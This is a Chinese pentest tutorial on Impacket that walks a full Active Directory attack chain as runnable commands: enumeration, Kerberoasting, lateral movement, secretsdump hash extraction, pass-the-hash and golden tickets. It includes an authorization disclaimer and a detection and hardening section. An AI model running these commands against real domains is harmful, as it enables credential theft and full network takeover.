内网渗透工具集 Impacket 实战笔记:从域信息收集到 NTDS 哈希导出
⚠️ 合规声明(请先读这一段)
Impacket 是一套合法的开源安全工具,被大量红队、渗透测试工程师、安全研究员日常使用,也是 OSCP / HTB 等认证与靶场的标配。
但它同时也是攻击链上最锋利的那把刀。本文所有操作仅限以下场景:
- 自己搭建的 AD 域实验靶场(Windows Server + Ubuntu/Kali)
- 拥有书面授权书的企业红蓝对抗 / 渗透测试项目
- Hack The Box、TryHackMe 等合法在线靶场
严禁对公网、他人企业内网、未授权服务器做任何扫描或凭证抓取。《网络安全法》《刑法》第二百八十五条非法侵入计算机信息系统罪不是吓唬人的——而且云厂商对 445/389 端口的异常流量风控极其灵敏,扫一次就可能直接封禁你的实例。
下面进入正题。
一、起因:~/.local/bin 里堆了一套域渗透工具
某天清理服务器时,我发现 ~/.local/bin 目录下多了一大堆 .py 文件,时间戳集中在同一天的 21:08——典型的 pip install 批量生成软链接。
ls -la ~/.local/bin/
目录结构是这样的:
| 类型 | 文件 | 说明 |
|---|---|---|
| 凭证抓取 | secretsdump.py GetNPUsers.py GetUserSPNs.py GetLAPSPassword.py Get-GPPPassword.py |
抓哈希、Kerberos 攻击 |
| 远程执行 | psexec.py wmiexec.py smbexec.py atexec.py dcomexec.py |
横向移动 |
| Kerberos 票据 | getTGT.py getST.py ticketer.py goldenPac.py |
黄金/白银票据 |
| 权限劫持 | ntlmrelayx.py rbcd.py dacledit.py owneredit.py |
委派与 ACL 攻击 |
| 信息搜集 | GetADUsers.py GetADComputers.py rpcdump.py samrdump.py |
域内枚举 |
| MSSQL | mssqlclient.py mssqlinstance.py |
数据库渗透 |
| DPAPI | dpapi.py dpapidump.py |
凭据解密 |
外加几个非 Impacket 的:
ldapdomaindump # LDAP 域信息导出
ldd2bloodhound # LDAP dump → BloodHound 格式
normalizer # BloodHound 数据归一化
wsdump # WebSocket 抓包
playwright # 浏览器自动化
这些全部来自 Impacket 套件——只要 pip install impacket,它自带的 30 多个脚本就会被一股脑塞进 ~/.local/bin。
排查来源:
pip show impacket
pip list | grep -E "impacket|flask|playwright"
顺便确认 ~/.local/bin 在不在 PATH 里:
echo PATH | grep .local/bin
# 没输出就补上
echo 'export PATH="HOME/.local/bin:$PATH"' >> ~/.bashrc && source ~/.bashrc
二、Impacket 在真实攻击链里的位置
很多人第一次看到这堆脚本会懵:30 多个工具到底先敲哪个?
我的理解是,把 Impacket 放回攻击链里看,它的职责非常清晰:
① 信息收集 → ldapdomaindump / GetADUsers / lookupsid
↓
② Kerberos 攻击 → GetNPUsers (AS-REP Roast)
GetUserSPNs (SPN Roast)
↓ 爆破拿到服务账号明文
③ 横向移动 → psexec / wmiexec / smbexec / atexec
↓ 登录下一台机器
④ 凭证 dump → secretsdump ← 核心中的核心
↓ 拿到 NTLM 哈希 / krbtgt
⑤ 域持久化 → ticketer (黄金票据) / rbcd / dacledit
整条链的枢纽是第 ④ 步:前几步都是为了拿到一个能登录的账号,而 secretsdump 才是真正把「一台机器」变成「一个域」的那一步。
三、阶段一:域信息收集
假设你已经在授权靶场里拿到了一个低权限域账号 user01,域控 IP 是 192.168.10.10。
3.1 LDAP 全量导出
# 带域账号查询(信息最全,推荐)
ldapdomaindump test.local/user01:Passw0rd!@192.168.10.10 -o ldap_out/
# 域允许匿名时也可(现代域基本关掉了)
ldapdomaindump 192.168.10.10 -o ldap_out/
会导出域内所有用户、计算机、组、GPO、SPN的 HTML + JSON。
转成 BloodHound 能吃的格式:
ldd2bloodhound ldap_out/domain_users.json
丢进 BloodHound,最短路径到域管一目了然。
3.2 SID 枚举与主机发现
# 枚举域内所有用户 SID(可发现隐藏/未启用账号)
lookupsid.py test.local/user01:Passw0rd!@192.168.10.10
# 导出域内全部计算机
GetADComputers.py test.local/user01:Passw0rd!@192.168.10.10
# 导出全部域用户(含描述、过期策略、启用状态)
GetADUsers.py -all test.local/user01:Passw0rd!@192.168.10.10
💡 实战小技巧:
-all导出的用户描述字段经常藏着密码。运维把 "初始密码:Abc@123" 写在描述里是极其常见的事故。
四、阶段二:Kerberos 攻击
这是拿到第一个「有效凭证」的最快路径,不需要任何管理员权限。
4.1 AS-REP Roasting
针对设置了「不要求 Kerberos 预认证」的账号——攻击者可以不需要密码就向 KDC 索要一个加密的 AS-REP,然后离线爆破。
GetNPUsers.py test.local/ -dc-ip 192.168.10.10 -usersfile userlist.txt -output hashes.txt
拿到 $krb5asrep$ 开头的哈希,丢给 hashcat:
hashcat -m 18200 hashes.txt rockyou.txt
4.2 SPN Roasting(更常见)
任何域用户都可以查询注册了 SPN 的服务账号,然后请求 TGS 票据离线破解。这类账号往往是弱口令重灾区。
GetUserSPNs.py test.local/user01:Passw0rd! -dc-ip 192.168.10.10 -output spn_hashes.txt
拿到 $krb5tgs$ 哈希:
hashcat -m 13100 spn_hashes.txt rockyou.txt
🎯 为什么这个手法值得重视:只要域里有一个服务账号用弱密码,一个普通域用户就能直接拿到它——而服务账号通常有域内广泛的服务权限,直接跳过好几步。
4.3 其他两个老牌手法
# LAPS 本地管理员密码读取(域开启 LAPS 且当前账号有读权限时)
GetLAPSPassword.py test.local/user01:Passw0rd!@192.168.10.10
# GPP 组策略遗留密码(老域控常见,AES 固定密钥可解密)
Get-GPPPassword.py test.local/user01:Passw0rd!@192.168.10.10
GPP 那个坑(MS14-025)原理很经典:组策略首选项里用 AES-256 加密的本地管理员密码,密钥是微软公开的——等于明文存储。
五、阶段三:横向移动
拿到账号后,四种远程执行方式各有适用场景:
# 1. psexec —— 创建服务执行,最稳定,但会留服务日志
psexec.py test.local/adadmin:Admin123!@192.168.10.20
# 2. wmiexec —— WMI 无文件落地,隐蔽性最好(首选)
wmiexec.py test.local/adadmin:Admin123!@192.168.10.20
# 3. smbexec —— 走共享目录,不创建服务
smbexec.py test.local/adadmin:Admin123!@192.168.10.20
# 4. atexec —— 通过计划任务执行
atexec.py test.local/adadmin:Admin123!@192.168.10.20 "whoami"
批量摸清内网存活主机:
netview.py test.local/user01:Passw0rd! -targets ip_list.txt
选择建议:
| 工具 | 端口 | 落地文件 | 隐蔽性 | 备注 |
|---|---|---|---|---|
psexec |
445 | 有 | 低 | 创建服务,日志明显 |
wmiexec |
135 | 无 | 高 | 首选 |
smbexec |
445 | 无 | 中 | 依赖共享 |
atexec |
445 | 无 | 中 | 适合一次性命令 |
六、阶段四:secretsdump —— 本篇的重点
这是 Impacket 里使用频率最高、也最该搞懂的一个工具。我把它的原理和用法单独拆开讲。
6.1 它到底能抓什么?
secretsdump.py 支持三种数据源:
- 普通 Windows 主机 → 读取本地
SAM(本地账号哈希)+SECURITY(LSA 缓存的域凭证) - AD 域控制器 → 远程读取
NTDS.dit,导出全域所有用户的 NTLM 哈希 - 离线文件 → 本地解析已导出的
SAM/SYSTEM/NTDS.dit
通信依赖端口:SMB 445 + RPC 135。
6.2 基础语法
# 明文密码
secretsdump.py [域/账号]:[密码]@目标IP
# 哈希传递(Pass-the-Hash)
secretsdump.py [用户名]@目标IP -hashes LM哈希:NTLM哈希
6.3 六个高频场景
场景 1:普通域账号,抓单机本地哈希
secretsdump.py corp.local/adm:Admin@123@192.168.1.100
输出:
- 本地 SAM 账号 NTLM 哈希
- LSA 缓存的域登录凭证(这台机器上登录过的域管理员哈希!)
- DPAPI、服务账号凭据
🔥 这里是最容易被忽视的宝藏:即使你只有普通域账号,只要某台机器曾经有域管理员登录过,缓存里就躺着那个域管的哈希。
场景 2:域管理员账号,远程抓域控全域哈希(最常用)
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10
输出格式:
username:rid:lmhash:nthash:::
包含:
- 所有域用户的哈希
krbtgt账号哈希(做黄金票据必备)- 所有计算机机器账号哈希
场景 3:只有哈希,没有明文(Pass-the-Hash)
secretsdump.py corp.local/administrator@192.168.1.10 \
-hashes aad3b435b51404ee:9c1c6c8d316d8d8d7d7d7d7d7d7d7d7d
注意 LM 哈希在 NTLM 世界里通常就是固定值 aad3b435b51404eeaad3b435b51404ee(空 LM)。
场景 4:本地管理员账号(非域账号)
secretsdump.py Administrator:LocalPass123@192.168.1.50
场景 5:输出到文件,方便离线爆破
# 全部凭证落盘
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 > domain_hashes.txt
# 只保留标准 NTLM 行
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 \
| grep -E ":[0-9a-f]{32}:" > clean_hash.txt
场景 6:离线解析 NTDS.dit(域控取证 / 拿到文件后断网分析)
secretsdump.py -ntds ntds.dit -system system
这是取证分析师最常用的姿势——拿到域控磁盘镜像后,完全离线地把全域哈希还原出来。
6.4 四个关键参数
| 参数 | 作用 |
|---|---|
-just-dc |
只导域控 NTDIS 全域哈希,过滤本地 SAM 噪音 |
-just-dc-user krbtgt |
只导指定用户的哈希(做黄金票据时就导这一个) |
-no-pass |
尝试匿名连接(极低成功率) |
-debug |
打印详细日志,排错必备 |
最精简的黄金票据素材获取:
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 -just-dc-user krbtgt
6.5 常见报错排查
| 报错 | 原因 | 解决 |
|---|---|---|
STATUS_ACCESS_DENIED |
权限不足 | 抓 ntds.dit 需要域管/企业管理员权限,普通域用户必然失败 |
Could not connect to SMB |
445 被拦 | 目标防火墙 / Windows 防火墙 / 云厂商封禁 445 |
STATUS_PIPE_DISCONNECTED |
被 EDR 拦 | 杀软拦截远程读注册表,可改 wmiexec + mimikatz 本地抓 |
6.6 拿到哈希之后
# 1. 离线爆破
hashcat -m 1000 clean_hash.txt rockyou.txt
# 2. 哈希传递横向
psexec.py corp.local/administrator@192.168.1.20 -hashes aad3b435b51404ee:<nthash>
# 3. 域持久化:krbtgt 哈希 + ticketer 生成黄金票据
ticketer.py -nthash <krbtgt_hash> -domain corp.local \
-domain-sid S-1-5-21-xxx -user Administrator golden.kirbi
七、完整攻击链串联(靶场示例)
把上面的工具串成一条完整链路:
# 1. 匿名/低权限收集域信息
ldapdomaindump test.local/user01:Passw0rd!@192.168.10.10 -o ldap_out/
# 2. Kerberos 攻击,爆破拿到服务账号 svc_web
GetUserSPNs.py test.local/user01:Passw0rd! -dc-ip 192.168.10.10 -output spn_hashes.txt
hashcat -m 13100 spn_hashes.txt rockyou.txt
# 3. 用 svc_web 登录 web 服务器
wmiexec.py test.local/svc_web:WebPass@192.168.10.20
# 4. 抓本地缓存,拿到域管 NTLM 哈希
secretsdump.py test.local/svc_web:WebPass@192.168.10.20
# 5. 哈希传递登录域控
psexec.py test.local/administrator@192.168.10.10 \
-hashes aad3b435b51404ee:<域管nthash>
# 6. 导出全域哈希 + krbtgt
secretsdump.py test.local/administrator@192.168.10.10 -just-dc
# 7. 黄金票据持久化
ticketer.py -nthash <krbtgt_hash> -domain test.local \
-domain-sid S-1-5-21-xxx -user Administrator golden.kirbi
注意这条链的每一步都是上一步的自然延伸,没有跳跃。这就是为什么内网渗透里「一个普通域账号」往往等于「整个域」——AD 的默认信任模型就是为了方便设计的,安全边界需要额外加固。
八、防守方视角:这些操作会留下什么
写攻击手法不写检测,是不负责任的文章。以下行为会产生高价值告警:
| 攻击行为 | 日志来源 | 检测点 |
|---|---|---|
| LDAP 全量查询 | 域控 LDAP 日志 | 单账号短时间内海量对象读取 |
| AS-REP / SPN Roast | 域控 Kerberos 日志 | 大量 4768/4769 事件,加密类型 0x17 |
| psexec 横向 | 目标安全日志 | 事件 ID 7045(服务安装)+ 4624 登录类型 3 |
| secretsdump 抓 NTDS | 域控 | 事件 ID 4662,DS 对象访问 + 复制权限 |
| 黄金票据 | 域控 | TGS 请求的票据有效期异常(默认 10 小时) |
加固建议:
- 禁用 Kerberos 预认证豁免,或给这些账号设置 25 位以上随机密码
- 服务账号托管:用 gMSA(组托管服务账号),密码自动轮换,SPN Roast 直接失效
- LAPS 部署:每台机器本地管理员密码随机化
- 清理 GPP 遗留密码:老域控查一遍
Groups.xml - 限制 445/135 出站:内网分段,禁止工作站之间横向
- krbtgt 定期轮换:轮换两次才能真正使旧黄金票据失效
- EDR 覆盖:监控
lsass.exe内存读取与远程注册表访问
九、总结
几个我从这套工具里得到的体会:
- Impacket 是纯 Python 实现,跨平台、可审计、能改源码——这既是它被攻击者喜爱的原因,也是防守方研究它的便利。
secretsdump是整条链的枢纽。理解它 = 理解 AD 凭证的存储位置(SAM / LSA Cache / NTDS.dit)。- Kerberos 攻击往往比暴力破解高效得多。AS-REP / SPN Roast 一次请求就能拿到离线可爆破的哈希,不需要触发登录失败锁定。
- AD 的默认配置本身就是最大的攻击面。域内默认「所有用户可读所有对象」,这是设计使然。
- 云服务器上跑这些工具极其危险——不仅法律风险,云平台的风控会在几分钟内隔离你的实例。
最后再重复一遍:这套工具请在授权范围内使用。技术没有对错,边界在人心。